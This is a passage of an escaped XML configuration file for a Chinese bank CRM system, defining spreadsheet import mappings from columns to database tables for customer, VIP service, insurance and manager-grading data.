name=\"购买产品编号\"  columnIndex=\"5\"  fieldCode=\"PRODUCT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买产品名称\"  columnIndex=\"6\"  fieldCode=\"PRODUCT_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买金额\"  columnIndex=\"7\"  fieldCode=\"BUY_AMT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"删除日期\"  columnIndex=\"8\"  fieldCode=\"OPP_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"删除理由\"  columnIndex=\"9\"  fieldCode=\"OPP_REASON\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"操作类型\"   columnIndex=\"10\"  fieldCode=\"OPP_TYPE\"   isPK=\"false\"   type=\"VARCHAR2\"   length=\"100\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"操作人\"   columnIndex=\"11\"   fieldCode=\"OPP_USER\"   isPK=\"false\"   type=\"VARCHAR2\"   length=\"100\"   precial=\"\"   isNull=\"true\"></column>\n   \t</trade>\n   \n    <!--证件号码导入（客户群）-->\n    <trade tradeCode=\"importantGroupCust\" tableName=\"OCRM_F_GROUP_TEMP\" valiClass=\"\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"序号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"证件类型\"  columnIndex=\"1\"  fieldCode=\"CERT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"12\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"证件号码\"  columnIndex=\"2\"  fieldCode=\"CERT_NUM\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n   \t<!--贵宾卡增值服务参数导入-->\n    <trade tradeCode=\"importVipCardAddServiceParamt\" tableName=\"OCRM_F_CI_VIPADDPARAM_TEMP\" valiClass=\"com.yuchengtech.bob.action.VipAddServiceParamImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"编号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"贵宾卡级别\"  columnIndex=\"1\"  fieldCode=\"VIP_CARD_LEVEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"提供商\"  columnIndex=\"2\"  fieldCode=\"PROVIDER_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务名称\"  columnIndex=\"3\"  fieldCode=\"ADD_SERVICE_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务标识\"  columnIndex=\"4\"  fieldCode=\"ADD_SERVICE_IDENTIFY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"适用范围\"  columnIndex=\"5\"  fieldCode=\"RANGE_APPLY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务内容\"  columnIndex=\"6\"  fieldCode=\"SERVICE_CONTENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"200\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"备注\"  columnIndex=\"7\"  fieldCode=\"REMARK\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n    <!--贵宾卡增值服务享受记录导入-->\n    <trade tradeCode=\"importVipEnjoyServiceRecord\" tableName=\"OCRM_F_CI_VIPADDPARAM_TEMP\" valiClass=\"com.yuchengtech.bob.action.VipEnjoyServiceRecordImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"编号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"客户号\"  columnIndex=\"1\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"联盟商代码\"  columnIndex=\"3\"  fieldCode=\"ALIANCE_PROGRAM_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"联盟商名称\"  columnIndex=\"4\"  fieldCode=\"ALIANCE_PROGRAM_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务标识\"  columnIndex=\"5\"  fieldCode=\"ADD_SERVICE_IDENTIFY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务内容\"  columnIndex=\"6\"  fieldCode=\"SERVICE_CONTENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"200\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"享受服务日期\"  columnIndex=\"7\"  fieldCode=\"ENJOY_SERVICE_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n    <!--潜在客户导入-->\n\t   <!--潜在客户导入-->\n\t<trade tradeCode=\"importLantentCustInfo\" tableName=\"ACRM_F_CI_CUSTOMER_TEMP\" valiClass=\"com.yuchengtech.crm.customer.action.LantentCustomerImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"序号\" columnIndex=\"0\" fieldCode=\"CUST_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"27\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户名称\"  columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户类别\"  columnIndex=\"2\"  fieldCode=\"CUST_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"3\"  fieldCode=\"IDENT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"4\"  fieldCode=\"IDENT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"联系人\"  columnIndex=\"6\"  fieldCode=\"LINKMAN_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"联系手机\"  columnIndex=\"9\"  fieldCode=\"LINKMAN_TEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n<!--         <column name=\"座机号\"  columnIndex=\"6\"  fieldCode=\"TELEPHONE_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column> -->\n<!--         <column name=\"联系地址\"  columnIndex=\"7\"  fieldCode=\"COMMU_ADDR\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"200\"   precial=\"\"   isNull=\"true\"></column> -->\n<!--         <column name=\"电话区域\"  columnIndex=\"8\"  fieldCode=\"PHONE_AREA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column> -->\n<!--         <column name=\"邮编号码\"  columnIndex=\"10\"  fieldCode=\"PORT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column> -->\n \t\t<column name=\"其他名称\"  columnIndex=\"11\"  fieldCode=\"SHORT_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n  \t\t<column name=\"英文名称\"  columnIndex=\"12\"  fieldCode=\"EN_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n  \t\t<column name=\"客户来源渠道\"  columnIndex=\"13\"  fieldCode=\"SOURCE_CHANNEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n    <!--贵金属AUM导入-->\n\t<trade tradeCode=\"nobelMetalImportInfo\" tableName=\"A_AC_CUST_ASSET_AUM_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.NobelMetalImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"AUM\"  columnIndex=\"1\"  fieldCode=\"AUM\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   <!--保险中间业务导入-->\n\t<trade tradeCode=\"insuranceImportInfo\" tableName=\"A_AC_CUST_BAOX_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.InsuranceImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"趸缴或期缴金额\"  columnIndex=\"1\"  fieldCode=\"BAOX_AMT\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--小微评级客户月均销售额导入-->\n\t<trade tradeCode=\"salesVolumeOfSmallImportInfo\" tableName=\"A_AC_CUST_MCR_SAL_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.SalesVolumeOfSmallImportImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"销售额\"  columnIndex=\"1\"  fieldCode=\"TRAD_AMT\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   <!--客户群管理黑名单客户导入-->\n\t<trade tradeCode=\"importBlacklistCustInfo\" tableName=\"ACRM_F_CI_CUSTOMER_TEMP\" valiClass=\"com.yuchengtech.bob.action.BlacklistCustImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"客户号\" columnIndex=\"0\" fieldCode=\"CUST_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"27\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户名称\"  columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"2\"  fieldCode=\"IDENT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"3\"  fieldCode=\"IDENT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户类别\"  columnIndex=\"4\"  fieldCode=\"CUST_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--个金目标值导入-->\n     <trade tradeCode=\"importReportCfgNewInfo\" tableName=\"ACRM_M_TARGET_VAL_TEMP\" valiClass=\"com.yuchengtech.bob.action.ReportCfgNewImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n        <column name=\"编号\" columnIndex=\"0\" fieldCode=\"ORDER_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"报表编号\" columnIndex=\"1\" fieldCode=\"REPORT_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"报表名称\"  columnIndex=\"2\"  fieldCode=\"REPORT_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"上级机构ID\"  columnIndex=\"3\"  fieldCode=\"ORG_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"上级机构名称\"  columnIndex=\"4\"  fieldCode=\"ORG_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构ID\"  columnIndex=\"5\"  fieldCode=\"BRANCH_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构名称\"  columnIndex=\"6\"  fieldCode=\"BRANCH_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"指标名称\"  columnIndex=\"7\"  fieldCode=\"STAT_NA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"指标ID\"  columnIndex=\"8\"  fieldCode=\"STAT_ID\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"20\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"项目\"  columnIndex=\"9\"  fieldCode=\"PROJECT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"目标值\" columnIndex=\"10\" fieldCode=\"INDEX_VAL\" isPK=\"false\" type=\"NUMBER\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"最后更新日期\"  columnIndex=\"11\"  fieldCode=\"UPDATETIME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n     </trade>\n     \n     <!-- 客户分配导入信息 -->\n     <trade tradeCode=\"importCustBelong\" tableName=\"ACRM_F_CI_BELONG_IMP\" valiClass=\"com.yuchengtech.bcrm.customer.belong.action.CustBelongImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n        <column name=\"编号\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户号\" columnIndex=\"1\" fieldCode=\"CUST_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"20\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构主协办类型\"  columnIndex=\"3\"  fieldCode=\"ORG_MAIN_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构ID\"  columnIndex=\"4\"  fieldCode=\"ORG_CODE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"机构名称\"  columnIndex=\"5\"  fieldCode=\"ORG_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户经理主协办类型\"  columnIndex=\"6\"  fieldCode=\"MGR_MAIN_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户经理ID\"  columnIndex=\"7\"  fieldCode=\"MGR_ID\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"20\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"客户经理名称\"  columnIndex=\"8\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"80\"  precial=\"\"  isNull=\"true\"></column>\n     </trade>\n     <!-- 公司评级 importCompanyGrade -->\n     <trade tradeCode=\"importCompanyGrade\" tableName=\"ACRM_F_CI_OGRADE_RESULT_TEMP\" valiClass=\"com.yuchengtech.bcrm.custmanager.action.CustGradeCompanyImport\" sheetStartIndex=\"1\" creatorColumn=\"IMPORT_USER\" creatOrgColumn=\"\" creatDateColumn=\"IMPORT_DATE\">\n   \t  \t<column  name=\"客户号\"    columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"客户名称\"   columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n\t   \t<column  name=\"客户等级ID\"    columnIndex=\"2\"  fieldCode=\"CUST_GRADE_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"客户等级类型\"    columnIndex=\"3\"  fieldCode=\"CUST_GRADE_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n       \t<column  name=\"本期客户等级\"    columnIndex=\"4\"  fieldCode=\"CUST_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"是否本月新增\"    columnIndex=\"5\"  fieldCode=\"IS_MONTH_ADD\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"净利润\"    columnIndex=\"6\"  fieldCode=\"RETAIN_PROFIT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"营业净收入\"    columnIndex=\"7\"  fieldCode=\"IN_BUSI_RETAIN_PROFIT\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"营业外净收入\"    columnIndex=\"8\"  fieldCode=\"OUT_BUSI_RETAIN_PROFIT\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"所得税\"    columnIndex=\"9\"  fieldCode=\"INCOME_TAX\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款减值准备\"    columnIndex=\"10\"  fieldCode=\"LOAN_IMPAIRMENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"60\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"EVA\"    columnIndex=\"11\"  fieldCode=\"EVA\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"经济资本占用\"    columnIndex=\"12\"  fieldCode=\"FINA_ASSET_EMPLOY\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"业务规模\"    columnIndex=\"13\"  fieldCode=\"BUSI_SCALE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"存款年日均\"    columnIndex=\"14\"  fieldCode=\"DEP_YDAY_AVG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款年日均\"    columnIndex=\"15\"  fieldCode=\"LOAN_YDAY_AVG\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"贷款年收息\"    columnIndex=\"16\"  fieldCode=\"LOAN_YDAY_INTEREST\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"存贷比\"    columnIndex=\"17\"  fieldCode=\"DEP_LOAN_PROP\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column  name=\"存款加权季末余额\"    columnIndex=\"18\"  fieldCode=\"DEP_WEIGHT_ENDS_BAL\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\" precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"外汇收支\"    columnIndex=\"19\"  fieldCode=\"FOREIGN_EXCHANGE\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"评级RAROC\"    columnIndex=\"20\"  fieldCode=\"EVALUATE_RAROC\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"RAROC(贴现)\"    columnIndex=\"21\"  fieldCode=\"RAROC_DISCOUNT\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"RAROC(贸易融资)\"    columnIndex=\"22\"  fieldCode=\"RAROC_TRADE_FINA\"  isPK=\"false\"  type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"净利润等级结果\"    columnIndex=\"23\"  fieldCode=\"RETAIN_PROFIT_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"评级RAROC等级结果\"    columnIndex=\"24\"  fieldCode=\"EVALUATE_RAROC_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n\t\t<column  name=\"业务规模等级结果\"    columnIndex=\"25\"  fieldCode=\"BUSI_SCALE_GRADE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"2\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   <!--客户经理培训信息批量导入-->\n   <trade tradeCode=\"mgrCourseBatchImport\" tableName=\"OCRM_F_CM_CUST_MGR_COURSE_TEMP\" valiClass=\"com.yuchengtech.bob.action.CustManagerCourseImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n      <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n      <column name=\"客户经理工号\"  columnIndex=\"1\"  fieldCode=\"MGR_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"客户经理名称\"  columnIndex=\"2\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"课程名称\"  columnIndex=\"3\"  fieldCode=\"COURSE_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"培训日期\"  columnIndex=\"4\"  fieldCode=\"COURSE_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"课堂表现\"  columnIndex=\"5\"  fieldCode=\"PERFORMANCE_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"考核成绩\"  columnIndex=\"6\"  fieldCode=\"EXAMINE_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"加分项\"  columnIndex=\"7\"  fieldCode=\"BONUS_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"培训心得\"  columnIndex=\"8\"  fieldCode=\"THOUGHT_SCORE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \t\n   <!--客户经理等级批量导入-->\n   <trade tradeCode=\"mgrClassBatchImport\" tableName=\"OCRM_F_CM_CUST_MGR_CLASS_TEMP\" valiClass=\"com.yuchengtech.crm.customer.action.CustManagerClassImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t \t <column name=\"客户经理工号\"  columnIndex=\"1\"  fieldCode=\"MGR_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   <!-- \t  <column name=\"客户经理名称\"  columnIndex=\"1\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>-->\n   \t  <column name=\"等级\"  columnIndex=\"2\"  fieldCode=\"MGR_CLASS\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t<!--   <column name=\"有效期\"  columnIndex=\"4\"  fieldCode=\"EFFECT_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>  --> \n   </trade>\n   \n      <!--客户经理评级信息导入-->\n   <trade tradeCode=\"mgrGradeInfoImport\" tableName=\"ACRM_MGR_CPN_DATA_IMP_TEMP\" valiClass=\"com.yuchengtech.bob.action.MgrGradeInfoImport\" sheetStartIndex=\"0\" creatorColumn=\"IMPORT_USER\" creatOrgColumn=\"\" creatDateColumn=\"IMPORT_DATE\">\n   \t  <column name=\"客户经理工号\"  columnIndex=\"0\"  fieldCode=\"MGR_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n   \t  <column name=\"客户经理名称\"  columnIndex=\"1\"  fieldCode=\"MGR_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"年度考核结果\"    columnIndex=\"2\"  fieldCode=\"DNKHJG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"品德合规状况\"    columnIndex=\"3\"  fieldCode=\"DDHGZK\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"公关营销能力\"    columnIndex=\"4\"  fieldCode=\"GGYXNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"其它调整项1\"    columnIndex=\"5\"  fieldCode=\"QTTZX1\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"营销竞赛排名\"    columnIndex=\"6\"  fieldCode=\"YXJSNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"新产品创新及推广\"    columnIndex=\"7\"  fieldCode=\"XCPTG\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column  name=\"信贷工作能力\"    columnIndex=\"8\"  fieldCode=\"XDGZNL\"  isPK=\"false\" type=\"NUMBER\" length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      